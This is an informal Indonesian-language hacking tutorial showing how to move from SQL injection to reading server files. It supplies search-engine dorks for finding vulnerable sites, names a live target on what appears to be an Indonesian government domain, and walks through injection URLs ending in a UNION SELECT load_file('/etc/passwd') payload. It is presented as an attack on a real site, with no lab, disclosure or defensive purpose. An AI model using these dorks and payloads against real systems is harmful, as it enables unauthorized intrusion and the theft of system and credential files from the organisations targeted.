Tutorial SQL Injection To LFI

Hello Guys Bertemu Lagi Sama Gw rangga1337. Di kesempatan kali ini gw mau ngasih sedikit methode buat kalian hehe v:

Buat Bahan Yang Di Butuhin : 

- Dork :

inurl:article.php?ID=

inurl:play_old.php?id=i 

nurl:declaration_more.php?decl_id=

Atau bisa kalian cek di artikel : Dork SQL.

- Dios Sql to Lfi

- Kopi

- Internet

- Live Target :

http://tf.lan.go.id/statis-1-profil.html

- Dan Yang Paling Penting Kalian Harus Ganss v:

Langkah pertama kalian Dork dulu pake Dork yang udah gw kasih di atas.

Kalo kalian udah dapet target nya,dan kalo yang mau live target bisa cek di atas.

Kalo udah selanjutnya kita kasih tanda ' di belakang parameter angka 1.

Selanjutnya kalian tambahin

- Contoh :

http://tf.lan.go.id/statis-1'-profil.html

Selanjutnya kalian tambahin Order By

- Contoh :

http://tf.lan.go.id/statis-1'+order+by+1--+--profil.html

Maka akan Menjadii seperti ini

Selanjutnya kalian ubah Order By menjadi union select

- Contoh :

http://tf.lan.go.id/statis-1'+union+select--+--profil.html

Maka akan Menjadii seperti ini

Selanjutnya kalian masukan Payload nya

- Contoh :

http://tf.lan.go.id/statis-1'+union+select+load_file('/etc/passwd')--+--profil.html

Maka akan Menjadii seperti ini

Selanjutnya kalian Tinggal view-source Saja

Dan Boooom

Dan Hasilnya seperti ini ->

Sekian Tutor dari saya Jika ada kesalahan dlm pengetikan mohon maaf v: